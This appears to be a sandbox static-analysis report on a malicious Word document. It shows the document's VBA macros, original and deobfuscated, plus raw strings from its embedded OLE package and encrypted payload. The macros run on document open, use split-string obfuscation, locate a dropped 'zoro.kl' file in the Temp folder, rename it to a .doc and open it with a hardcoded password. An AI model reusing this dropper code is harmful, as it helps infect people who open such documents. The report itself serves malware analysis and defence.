popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
        Dim nccx As String
     
    
        Dim vssfs As String
Private Sub Document_Open()
Dim dfgdgdg
Call s1("Lo")

Dim fds, fdsa As String
fds = "\"
 fdsa = ".d"
Call s2("cal/")
Call ass
Call acc
Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)

If Dir(kytrewwf & fds & "zoro" & fdsa & vssfs) = "" Then
Dim mySum
mySum = Application.Run("bvxfcsd")

If Len(nccx) > 2 Then


Call nam(nccx, kytrewwf)
Call pppx(kytrewwf & fds & "zoro" & fdsa & vssfs)




End If
End If
End Sub



Sub ass()
vssfs = "o"

End Sub
Sub acc()
vssfs = vssfs & "c"
End Sub

Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), nccx)

End Sub

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
        Dim nccx As String
     
    
        Dim vssfs As String
Private Sub Document_Open()
Dim dfgdgdg
Call s1("Lo")

Dim fds, fdsa As String
fds = "\"
 fdsa = ".d"
Call s2("cal/")
Call ass
Call acc
Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)

If Dir(kytrewwf & fds & "zoro" & fdsa & vssfs) = "" Then
Dim mySum
mySum = Application.Run("bvxfcsd")

If Len(nccx) > 2 Then


Call nam(nccx, kytrewwf)
Call pppx(kytrewwf & fds & "zoro" & fdsa & vssfs)




End If
End If
End Sub



Sub ass()
vssfs = "o"

End Sub
Sub acc()
vssfs = vssfs & "c"
End Sub

Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), nccx)

End Sub

Original

                                        Attribute VB_Name = "Module1"


Sub pppx(pili As String)

    Documents.Open FileName:=pili, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False, PasswordDocument:="doyouknowthatthegodsofdeathonlyeatapples?", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module1"


Sub pppx(pili As String)

    Documents.Open FileName:=pili, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False, PasswordDocument:="doyouknowthatthegodsofdeathonlyeatapples?", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub

Original

                                        Attribute VB_Name = "Module3"
Dim mgf, uhjknb, wers, qweds, fafaa As String

Sub s1(vi As String)
mgf = vi
End Sub
Sub s2(vi As String)
uhjknb = vi
End Sub
Sub s3(vi As String)
wers = vi
End Sub
Sub bvxfcsd()
wers = "T" & "e"
 Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2

    Selection.TypeBackspace

Selection.Copy
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)

    ntgs = 50
sda = 49

Dim poidds As String
qweds = "m" & "p"
Dim kuls As String

poidds = mgf & uhjknb & wers & qweds


fafaa = poidds
While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(uuuuc, ntgs) & fafaa, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & fafaa)
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module3"
Dim mgf, uhjknb, wers, qweds, fafaa As String

Sub s1(vi As String)
mgf = vi
End Sub
Sub s2(vi As String)
uhjknb = vi
End Sub
Sub s3(vi As String)
wers = vi
End Sub
Sub bvxfcsd()
wers = "Te"
 Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2

    Selection.TypeBackspace

Selection.Copy
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)

    ntgs = 50
sda = 49

Dim poidds As String
qweds = "mp"
Dim kuls As String

poidds = mgf & uhjknb & wers & qweds


fafaa = poidds
While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(uuuuc, ntgs) & fafaa, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & fafaa)
End Sub

Original

                                        Attribute VB_Name = "Module123345"
Dim pls As String


 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object

    Dim Ters As Object


For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc

   For Each Ters In mds.Files
   
   If Ters.Name = "zoro.kl" Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub




Sub nam(pafs As String, aaaa As String)
Call ousx(aaaa)


Dim oxl
oxl = "\zoro.d"
oxl = oxl & "oc"
Name pafs As pls & oxl
End Sub

Sub uoia(fffs As String)
pls = fffs
End Sub

Sub ousx(aaaa As String)
Call uoia(aaaa)
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module123345"
Dim pls As String


 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object

    Dim Ters As Object


For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc

   For Each Ters In mds.Files
   
   If Ters.Name = "zoro.kl" Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub




Sub nam(pafs As String, aaaa As String)
Call ousx(aaaa)


Dim oxl
oxl = "\zoro.d"
oxl = oxl & "oc"
Name pafs As pls & oxl
End Sub

Sub uoia(fffs As String)
pls = fffs
End Sub

Sub ousx(aaaa As String)
Call uoia(aaaa)
End Sub
EMBED Package
IDATx^
Ar51"(
o01`ZZ!
j>t`lu
D+qlY*
|ttT=N
^`O<@\\
1sGN4_
Swfcuh
{6n.lM
2_1>=.s
3GY(Kx
}ay==_
wFB_/-
z4I9<NO
|}}M|v
n+_\3?
f>A9-~
x,:0UO
Byi6wl
69G`Gr
[T}Yms
Y>2G}R
+^{=YL}]
uHmv0c
PO%l1S
o{%d76
IaT'fG[
=*q}iq
tX(aJ~
h^GUw;S\
h(ugJa
L[Yl|X
sM<[J^
NNlm0s
%#*%u
H5{Yk?Ay
<~sb}
P-Q6wc
u7u-Z3
K|#R!/
shSE=L
5wowZ'
u}Vu05R7z
:/_6Wx
:O)/Bi
-P^'V
e*}[v]
av-nt/
0>D4ou3
9TVT,;z
fK~F~]
#Sq(?P
GOw{6
Ym$H;t
y&m7#T
}(SW@
do_i7C-
#+kWe
f[kvx"
kP4nf=
_~8"N>
Ry)-DR
FxZW2*
/wq!`+
UlL(&b
bc"&fF
. 2,K?/~
7z$O'~
Ks9)3B
uhrCPk
'eJy8^
zrSDeP
^ka+qI
!?c?=m
IOmnZSmW;
kKDF^7
9$H"=v
QfQ~P
f_zTHnm
|)Pf /
W!^n>f]9
W.F~6(^
:ECx}B
+N`*_o
${u<q{r
%lFy[:
IV_{io
IY$v\&*Y
]dC'aq
3nwM1i
9rzUnl
!q +@T
u#e]t@
0^i:o)
v(wQPQF
?4aR42
H_!>,g
c,ye">
V>W0N
+BDsZ?E
S[F?P^J
^&r=|b
5Ks_YE
<dHseP'
8D~6k~
dCQHa
)b/AnO#
(iR=P,r
;LA<*]
;WOnz}z;]
vg,syb
7emM@n
n_cbLz
*VG7yE
A~~H0n
+nx'MG
$GD5S
+tY[Fc[
;v%$tI
:Tyr7;
^fQ~^
4IJ>l
o5kvUtz
W._v%e
:'mO<>!
5ZU?il_
ES|#bl
jl6%]zW
}}]u;ogP~
!Ky8d|
C&J=O[
L:LMM>N
'k`,o0
Sx[r;?o
is(!5n
0%PP9
A{O}A{eNh
UmbdW4
I@:6|t
)p0=zf~
xj^Eqa
-dM@Cw
jKgmcK+e
cY6!#C<W
@x|q&w
wZXZV]
cbsFX:
inO<?h
#ZV5n,
6glP0|
P6BjK~
MkVdD'_
U=PlKb
sj|_s@EfN
lhY|`p
|XZ^v\
~WcB{_aj
dTDGuj
|jfJ"N
W+wP4kC<
M@(|:,
9H#<9L
}(U2JN
Yu,n6#
%>WO9c[
\ISaS>g
NY.c)^=
l?1O=J
F1v2;A
Li:L<I
IDAT0WT
"/|X_
tm{[rF
C:N#F<ql
4A*/*
NFnn9O9
k\SV|S
>-B2;s
-O7]6O
H'<L(+
6Q@1ut
[o9_hg
G`L<\/J<
M?<=PY
k@L{<-1
tyx|\'N
R6n&P 
?B6i'xH
YZYliF
S~?s,
W{Y@re
N~RP~@
.I'WN~
7*SAic
>@ea!?
5By<kFW
f3)<)7
Ev:QH?!
28*Jq's
P8p"+]
PcsK\l
x)+N QO
U?5I8rGX
:A_(`0
a~BJm6P9
>`dSoL
$YciB
tr&E![
c9'v0Z
|'eslz
SG%W/c
A(2cHq
n\sdqL
'J#G[rV
UN[y\S
LF3a.{}
m=ZVv1
vt^zB]
+XH9rm
7g~{o`
cKg3z
\[XW{A
b3x7?X
X0.?2;a
{g}~h2
'kOk+:
c\~dvf8
tIG%;^_y
r"&g"
838>8%
Hd^]W{
]W^|!x
x}j6,o
Y82?17
N:ibC,>
gBo?#8
z.'bt<
FW_j_6
mIsD)O
5y6J@~
zSO>Z@|'
Z=ryp<
nTV?8L
zpq0p>
*@;s${
ymn{9t
b61)ElM
+>R'nz
%w+697o
``X6O6
v+'Z0a[P;qy"
piOWC:e
XcOB~x&
QVY~16:P
rXINQ
'-_ZP^
pBJl#isz
k/kgPk
>@]GIK
/]Qgr#
nw[Ao/
_'V"6t
s_2Gqp
}g:xL~
`>T^!0
!=z`>bvU:
od'OA
n-lf5l
eex:T=
7^,,|p
en$c<W=
5n$W_z9
m3bab
YQv*6k
sXIyZr!
Q=1Zn\
/6$_}|
6+d@K(
rl J6e~
*]ecP&?C\
4;/G ^
s.5gZOh
]Mv~Qr
:VWWWW
:xhs\;{$
:(G>m)>
:r82on
d*#*eK9hA
e9Z("3
4:*3jJ#
@_$t|
_O;9_h
V8|]sdE
9z*SyUv
4|q%+z:
'B&D;g
R7G~}+
'eq&X~
9F(|bW
0LzusG
fB^>t
(FwL-[Nv
}D.#
0b1|Q`
qzPaKq
f58>w"e!
ED8!o2&
7xvs(A
2O[R6e[
R>Rb^H
Yx?z<
$JL~.<
/(:T<_]
n|n7z
JOVwf{
Go[2x-
sm[\Sh)
ow,"-&
QeT$^1~
5HbnN
qYcXjg
`=X;~ex
#+^]UV
(Rp1iXt
Z8g9C}E/
Jr@-Q<
}(='-e
j!0 !$
Kw<dH.
X5pMX;
EJxN@&
Yr1Bh'
KEvPR-
"9)x'!|;
]-.b\j#9
EG%~C;
gtH}B|
>wM!pv
EO}]mI
h^mw/NX
gd+wvk
1*"<x=|V
1<(O5~
&(^7>K
r9`|vr
mpf|d,
<%o\[Dvcr
;xgfj{;
9@a1)zm
?Lre$d
r`LOn2~5X
@c=7$
=h;lKk
O6Cgo}
#m{X%-
ChQXOU
$q{WC2
}7yLl|T
.[E7S?
c7ZT'=
7\W)[
<p8]O6k
65nxm^
=kGQp$>*
:B:Zh9
1({z$hO
Id:x t
u/'A|T
r5ns}.
?7rdBt@N
r9fjC
vPp]6]
F\(;Q2
[9f:<`L
@_y2+2
&Tb,<}
*.~5Y1
1y sMR
$~Aaj&
Wscs^'
wV7\~S*
};I7oW
o3V%w
5N$M(k
a{sk8v
=u*,T
LVpVTP]W
9Sd8^=
_ZZ~Iq
OI}W*O/
&4u_(~
.#.?e.=
~f|}Q:
0x49R'id
,6azLy
a\q2v@
%Qehq\$
T-IKO/
mLiekst
rU>;d[
fw[}X(
J7yB.Cn
K.2psS4
+<tBA;
!*7e9
zeX;rh8
}Oj]:t
amR]k
JGeCn*[\
E~ViP)
bQW'G|
F^:{6y
*'i:S8
B\v1X
J;/20
>\KS.?
ovA_^
xZ@ZXZd+_}G
>':ckdWjg
JNC,g`0
j`R9`R
{+|EA}
6J[6q>,
HkW\zy,:c
:kl"K|
U>9G(oR
=t91=3'
c;`Q,T<
1+V.ok
<Qz6N:viq,
[d"M:>
KcMyB\
bk2GG9
vkQn?3
NZeU<Pf
px]Pm%
HG~@Z;
W2U^/;
FO>qkO81
K/kW^vy
C_:vou
N{h1TP|
D:uQgv
G,Zt_[
K|Y)&0
e/sgE<
i:*G~6
OoW]{M.`-
9_|7V3
jW]qe{
1vO7tA
~mc@+M
3wLq Y
kW^~E
E9xtoP
GyU.;|
o!f1`lqmg
q^~85
^/%srT'4
kE~1}A
Kcr{Q;
B|fzej
N<9tlM
z]U;r~
l0|6L[r
(=1gbK
@!=c8a
G6&rv^
]|,P<T
fy0\ w
zM?sVy
+y6d(;
:.-63J
%guWq
tYc0|>
Py;wlkS&11
TeZ.C8TV30)
rU/c~9
(d(J)-
s|)O>sq
f=#=yy^i
PyvYyES9H
:hNVc @
2&5ap_
@*Nt.y
fb8D0~?
0~xmQQ
.lW_{M.4
3gqo^8
dMlNe}k
'>qzn.
'nl+cpSWg
dTmCvt
0yfwggvg
)`Vu~)d
w;;|o
C^6u?~
x$2G'>p
#xFWF
O=U?xP
,XL2LF,B
3t3t$tA
|NTQ.y
rQ?S{{?+
PA8eM[
maZWI
@<<-[W
at)+~`
C:VAJoU
Ii@z-@K
DPEC|a
`FI0e
C:@y\Sw
g_NxJ[
U\yoK
m#=77k:
L7>nz,
&"V+~19r
N?C*3A
x*u#mZo
+ iDGv
,OP8 m
3'@NMN
yS9Qn
wph0*<
".M#C[
y:i&<V
7r>to3
~ M{oU]
-}Lccg
4UyR4D7
UE#E:oU
|leNksJ
#nB@YV
ck0s%<
*FOHeU
MuC~pP7jW#
;9i}t:NV
{OkNuU^
4*gtt,
uH7XUeH^
1^AD}X
#^NalzH
=xG^8x
PS(LQ
O./hTA
Se(y`q
~vi\8u
>%:@FPN6F
)|Qn=b
Sanf:,Yx|q:
JKY@e@
$]S6tHC]
s(G(F\
=.)C4R?
<z2qj*
M/`CKZ
VR_8~r"
_0pR7x
mb_d!4
?P.2'-
Y`(d/H
nD<WP
q:ndp$,
M5|p-]
#}4x,
LxdL O
~H8:"k
!G9&7qF
od@{0>0
Q`TBW`
S{o&in
.f!NAm
+mDWxT
_M5)RVlW
r7vZ4]
Niq)S<
9s./dl
aK^BypM:~
U"#M,1
VVh7kU
K;UgF/mD
q%]K6
1O]|v
x'<R?T
OW]{m
Uzk
_7dng
|me7wa
G:td1]
4K1kVp
7Rul-9?w
Mo|C:y
n?}*]u
>~%e1H
o3:q
_e|nB[
A]XD[|
]JL1Yv
^?RbXgM
[F9?Uk
Q^Bm^dm
ueFjCLS
\JlE/w
E:P|D]X
I?]GM1c
r;gL y!
tgj#]\
`LOOe#!<f
MP=M4(o
=z4-wVm
D6[+6_
&?x#?9U
`I`PXD]XW
tAS\L#
oNW^ye
"*u(Bu
1\,,.z
C[h'a\g
7:AJzd@Z
H'u5_4
IgL>28
w6hR}(Y
|qM8y9a
h+m&/}
JP?8Ye
h._2S]
fcL{-cw
xNcq2L
Q?yHG;
YG.&,7
#S''1e
K:xe,P6m
F7h#FA
hNZ*NsO
&Y\<aLT
2yrm\;
+cvv&]
S+Nl).
lBpIY{2a
%O_]ot
sR6nc]
:!hds
Hy ]_m
M(qlH91'
IK}RG\
.-Yovb
;M?+4fb
2hON_a
Z00!A~
,EF;C.M$
>l|G&W
kx0(P^
.FjNYb
!Mdi"X_K
r^KPYA,+
Zt(>wmie
:U["O
NztA&yP
8|STc3
}P}A\C
A\~@`,
Yu,!/kI
0CuBY#)|
4Bl[j=K
q]kyuP^
vN4=jY
i.`>MO5l
4`,]VG
#n7P*
Erk>AF<
1W-,-V
0`?P6*
7-uaR\
f"}9%]
6LF# {
"hk:CvJ+G
TD3]gl
s$2??V
L<?rM"
!o/&'#
@|dQwa~%.
xJiJa
5]O*>)
.V+W.W#
0%sO>~<
rv;#a<2
n n\Ec
K_G^gN
F]&?GW~
rn5zFL
>XBGWo
%pSFNz!pn
h}2NZ1N
KUxJ1b
B.[qrA
q n*b|
"b8'dN
%cz]wQr
kz'ats
)*Vm0+b
Ms}cfC
~](WB9=
)mtZ 3B
@FuaR
yk1Nxl3
,LB_^l
< .Db>
@du-wq>
%SD}Nk
#a<}n8!mLO
bz4R6x
`R]E>!
KnHT#j
mPc<F?@
[X$A~x"
O`k\jo
ov<?\
r*Eu%W
1("]nXP
32"E(>"
<0pwU
xxn2C!
~R0'ac
2kw[bZ
y\g;^Cg.z
QO|ehg
M/?=A`
6O6H.
MhvG_CH|
nT|BgX
\.lv-Wm
B|L`}
7:26hK
,hi+(,
!e`\sj-
kE?5-;!^:
;a>1H?
29lO`[
6?5LoN
4.Jq776
{1CG<u
[~ps!
7o>ZS
_g\0E_
3ufK<s
OLE Package
Package
Normal.dotm
zoro.kl
C:\Users\MyPc\Desktop\New folder\zoro.kl
C:\Users\MyPc\AppData\Local\Temp\zoro.kl
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<encryption xmlns="http://schemas.microsoft.com/office/2006/encryption" xmlns:p="http://schemas.microsoft.com/office/2006/keyEncryptor/password" xmlns:c="http://schemas.microsoft.com/office/2006/keyEncryptor/certificate"><keyData saltSize="16" blockSize="16" keyBits="256" hashSize="64" cipherAlgorithm="AES" cipherChaining="ChainingModeCBC" hashAlgorithm="SHA512" saltValue="Z1kvkeX
_$]my{
ezh,((
O,GM%F
@>=5^H
` U/XV
:7Z`+#
V;LX#=;
26f(p3Q
}X|V\I
r$Ck2q,wB
qFHHTp0E
(b2dwo
B 63U4
{@{}#
KUwb(l
)pPN_~
s;qt~x
!YUMNY
A7aO'g)
7b18w^
qt}_~Bf
4T:lf
5EZ>S^
oh{<b!
J:2K%'
>;Hw#d
H%+9ETJ
41S{S'
4T>7g*
`5o"ut
6O w=@
nQs!M?
*2P~G`
Qy8k<_7
HBhZ=+!
KHN[Ab
RBUR:0a
%tmP)wU
_IDzl5
!=Ds[I
<z'24\
L666uU6
eTXmw3
T,r~$Q
w(YaU>
N7c>N/
iHtg>i.;H
[U8{&k
bV4N_.
}dh[ilo
9i<^X=
PnkI!J
]g{FLo
zyp>zg
({HZE3
OJrX]y
"e74_
.*i"Wk
r6)2`+S6}
>c/wph
$f~k"1+w
^}plla
HWOF&m
}a5OC=
-|Y:L
2(~.9n
5Z#k>m
iHFGFZ
izJ{"j
X[yYi/
bbU=km
[K'yGrZB
C0gh?4pk
'3+OrN
Nf?qS{
QMCd\}O>|
qB\p10Q
Va5uJe
q>[-(y
,"dt|"
ydNVr
(*!{AP
2l@BTYd.G
KL#D^B
a $WRk
!ZEc?-
1-Axl9X
~/eSKV
OlV6M^
>sZGBn<EY
Z:75}2
W1(J;pM
x5^iKrKDj_
iMJB[1
?tAp@R
ZZ>?f3
/ Vf|MY(Q,
Gh(rd@
D/L4H{
,Im3@F.+
'|Idh,
9F3)es
j.r?Gk
"rhE],
2=xq=k9O
i^$6Q?
k-fh*L
.)J!Dv
Xx/D6]
TCPuey
iwUiwF
|2?$kW
etXwX/!>
fj5@:#
PG~i!(r
^VkpZ%
DxquDk
BbN@q<m
fe(-Qp$
fcp3|fD|
^7I<oW
RaiS#`X+0
Qz9sw~&
Sh5~bt
,d?*I,
b}y[(d
a::G"k
k9HF4^
{DWu1lN
BTbaHoF
SMA3/z
&T+v}^,
=wm|-Nc
0=#y0]
/#w=v
|v=grFlQ
!x}3$`
i,U2Rqj?
$9Ak[@
uS@4qIZ
Y\_2~bI
|fu=]Z/
1y@In2
+r>nSa0
l8aX')7
hX5'`>
("xZv5
9jkW!D}
'v@HN.
RN#a?0U7ek
iY>+51
xL@ p*
"HW=)#
v6G^Bz|
~st:4&
l8?IC
z;2~ou
e5c].T
+DwDbi
%7FPxO
{]?|79
RN}]Bq
yYf<[=y
iKoG7N
Fe-KGT$;_r
2/1Z3+f
C252]2?'U+%
8}sRf ?y
q=[+(!
2fgu5|
kO[5lv
/JI-Vx
Pjfoltj
hfC+^n
r4.FlT
'DL6_9
@+qOwW
V"Weyl
RO!!*q
5U^zz32Y
tY#so/
=rgskk
E'*oa.,
3K|M7q
l\ESF.2w
25!E<;\
y.~,8p
8I<g![:R
a'6=/yi
s Z#FV
Fat>#\
:k!hH.
"?y" h
c4\g-d$
f)ZH!U
%&8GPU
94j~6A
nP=H|g\7O
t&V."
oucC<}
`-`pW3
@:Ro>0
K0FB_,J
/)(-4)
dVT\z%
>!ea{9
jRC=${!
LSD~xr
JrAQd6w
xLHg/<d/
+E:.8kZ
zj\o3?aec`
+k~%e8
x1>-DH
27zh0+
2-N<$*
16,sDS
Yzs>0*
c1|1BJA@0
NxA;<u
neC$#
Qm[-(m
/~3,u=h
u=>a=M
pgF)Zp)q2
y#o's$
ceau6E
#'GCL~
5HTHwJl
4#hKb\
FBl?m^
wF>n3'
a[~A(d
nHo;;4
%t@9Qo
L)LM'_
5s#E`>
+kJ=X7~
a(6&4U
C/deo`
+2}9GA
pvoEt!
eb{_6
R' RUA}g+
`V)QM
iJk/ip
<-\a/?
)L*:m(
zw8M>Wv
k! gX$e
@HP8R
uq8@I/
T[tdbG
h/E?/l
j1*+pds-u*\
jt{!|5
T5-2'sD
Bdo|<t
zczpFB
X4JV<YO
GsDS:
K<k!N'
K<C!$}Zf
$UOIg2
Z07`36uO
\*{~B
RlpYH)
&2!l9x
3yUY;5#
9l=zY3$C
bo:DNB
&}D}3G
}H3/-h
o?|)ms
X;gw]E
[Xz{@!
{xPZ1?
tp.4!@
-i+H/
Jq\GyGa
"NYcq@
x)5vk:Q0r
j.oqZ8Q)
*i.`-+
22)#22
0-:6xG-
|Cu`GE;
aJfXg`
c2GRo ]
<s)$gL
1Z@b7]
4vc<a&
CN_icd
",$HAl{
J)6X/e
N7|/Vm
[^Y*0j
cc$g&`
tM{j^W
0<_kud
nGjj]qt
J^$V+$
N\I'K
^Ky^/M
HKt3Jr
q_<{][
X]MFI$+
9J|DA9u
TQq>Pf8q
j%4S!Tz
VJUQ31
IvmZH;
AP{".g
3Zn>|@
QQ.Ao(
Z0nlroacWhhEmIA=="/><dataIntegrity encryptedHmacKey="71pj9sHb/MABtzrWVJgRbMiFE5cDaPaEFLdXPLSAYwS6VByPw1KJe7HGpR02G1FP3vj0QiMFfTGkwcUsS2pJlg==" encryptedHmacValue="F2jl1YnyvEw6jzwGCzfbNFz7CeOCxFjdMTmNZj7b5/4jo0FEufoWSMwEeKeV4dW6GExue6xa3t1bp9kzxjhSZA=="/><keyEncryptors><keyEncryptor uri="http://schemas.microsoft.com/office/2006/keyEncryptor/password"><p:encryptedKey spinCount="100000" saltSize="16" blockSize="16" keyBits="256" hashSize="64" cipherAlgorithm="AES" cipherChaining="ChainingModeCBC" hashAlgorithm="SHA512" saltValue="l3JdaF7PDAf6KlFRMYm/Aw==" encryptedVerifierHashInput="U/iHRI7pijuG/Wt0OMvUFw==" encryptedVerifierHashValue="3df/LI1ng5ZTve3J6O+GE4vdrKv3QaNgrJpcyZObxWTgjPfCNU4QAs0bFJRjr6lFJlUio5uTS7Jy9ejFQABn5A==" encryptedKeyValue="PjL3ZP5ueGXxyA1zo//mSbZbZ+H2/QbxxkBvA0swIcc="/></keyEncryptor></keyEncryptors></encryption>
YDw3yL
bQVWWeii
&'6}.,,h>
Project
\G{00020
0046}#
2.0#0#C:
\Windows
\System3
e2.tlb
#OLE Aut
omation
ENormal
!Offic
!G{2DF
8D04C-5B
FA-101B-
m Files\@Common
icrosoft
Shared\
OFFICE16
\MSO.DLL
M 16.0
Lib0rary
5Scripti
f420B28
E718-11C@F-893D
C9054228
fcrru`n.dllH*
Runtime
ocumentG
qeQ@.t
dule1G
doyouknowthatthegodsofdeathonlyeatapples?
Attribut
e VB_Nam
e = "Mod
Sub pppx
(pili AsD S
Documen
ts.Open
, Confir
versio
ns:=Fals
e, ReadO
nly:= _
AddTpoRec
assword
:="doyou
knowthat
thegodso
fdeatho
apples?
ITemp0late
RWrite
'Fordma
uto, XML
Transf
*\CNormalrU
Attribut
e VB_Nam
e = "Mod
im mgf,
uhjknb,
wers, qw
fafaa As S
Sub s1(vi
)bvx`fcsd(
T" & "e
Selecti
on.MoveD
own Unit
:=wdLine@, Coun
2TypeBac
kspace
rPCopy
.Default
FilePath
(wdUserT
emplates
r(Left(
." Then
Els@Y ;B
ument.hd
hddW"@\A
ThisDocument
Module1
Module3
Module123345
Project
C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
C:\Program Files\Microsoft Office\Root\Office16\MSWORD.OLB
C:\Windows\System32\stdole2.tlb
stdole
C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL
Office
C:\Windows\System32\scrrun.dll
Scripting
Document
Document_Open
bvxfcsd
VBE7.DLL
Search
\zoro.d
zoro.kl
Attribut
e VB_Nam
e = "Mod
ule12334
pls As S!
ub Searc
ect, paf!
or Each Q
KFiles
zoro.kl"
End <If
Handle:
Call ouxsx(
#uoia(f
ID="{2C1DD052-13D7-4D05-BD5B-5030A3D64ABD}"
Document=ThisDocument/&H00000000
Module=Module1
Module=Module3
Module=Module1233T
bvxfcsd
Attribut
e VB_Nam
e = "Thi
sDocumen
1Normal
VGlobal!
Pre decla
lateDeri
$Custom
Dim nccx As S
R Sub
all s1("
fdst,
("cal/
kytrewwf
efaultFi
lePath(w
B*If Dir(
% & "z0oro"
." The
#mySum
h.Run("b
vxfcsd
d) > 2
8nam(9
, E#@(
hdd(asd
dSystemO
c+SourceF
older!
Destin
New Scr
i mng.
Search(
Win64x
Project-
stdole
Normal
Office
Scripting
ThisDocument<
_Evaluate
vssfsNU
Document_Open
dfgdgdgH
kytrewwfjA
Options
DefaultFilePath
wdUserTemplatesPath
Application
hdhdde
FileSystemObjectNU
MyFile
SourceFolder
DestinationFolder
MyFolder
Folder
MySubFolder
Search
GetFoldern
Module1b
Documents
FileNamej
ConfirmConversions
ReadOnly4<
AddToRecentFiles
PasswordDocument8
PasswordTemplate
Revert
WritePasswordDocument
WritePasswordTemplate
wdOpenFormatAutoh
XMLTransform
Module3d
fafaaM
bvxfcsdn
SelectionZ
MoveDown
wdLine
Count0v
MoveRight
wdCharacter
TypeBackspacea
ntgs|W
vbDirectoryg
Module123345+
pafs7}
SubFoldersx=
FileswX
ErrHandle
ousx4$
Documentj
dasdxz"
piujhbvcT
poidds
uhjknb
wersJ6
cvbcvbTO
xzczxcb
ntygfe
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="7476AF25579D5B9D5B9D5B9D5B"
DPB="E8EA33C434C434C4"
GC="5C5E874D8FC090C0903F"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisDocument=78, 0, 1098, 467,
Module1=104, 104, 1124, 493,
Module3=156, 156, 1176, 545,
Module123345=52, 52, 733, 529, Z
ThisDocument
Module1
odule3
Module123345
Microsoft Word 97-2003 Document
MSWordDoc
Word.Document.8
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
$4vq^W
MB[F7x"
>Yr]H+
a!e9#i
An7jah
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
Root Entry
WordDocument
ObjectPool
_1694388549
EPRINT
CompObj
ObjInfo
Segoe UI
zoro.kl
Ole10Native
1Table
SummaryInformation
DocumentSummaryInformation
Root Entry
EncryptedPackage
DataSpaces
Version
Microsoft.Container.DataSpaces
EncryptedPackage2
StrongEncryptionDataSpace
StrongEncryptionTransform
{FF9A3F03-56EF-4613-BDD5-5A41C1D07246}N
Microsoft.Container.EncryptionTransform
DataSpaceMap
DataSpaceInfo
StrongEncryptionDataSpace
TransformInfo
StrongEncryptionTransform
Primary
EncryptionInfo
C:\Users\MyPc\AppData\Local\Temp\zoro.kl
zoro.kl(
C:\Users\MyPc\Desktop\New folder\zoro.kl
Macros
Module1
$*\Rffff*0P634a1e19
Module3
__SRP_0
__SRP_1
__SRP_2
$*\Rffff*0N634a1e19
bvxfcsd&
__SRP_3
__SRP_4
__SRP_5
__SRP_6
__SRP_7
__SRP_8
__SRP_9
Module123345
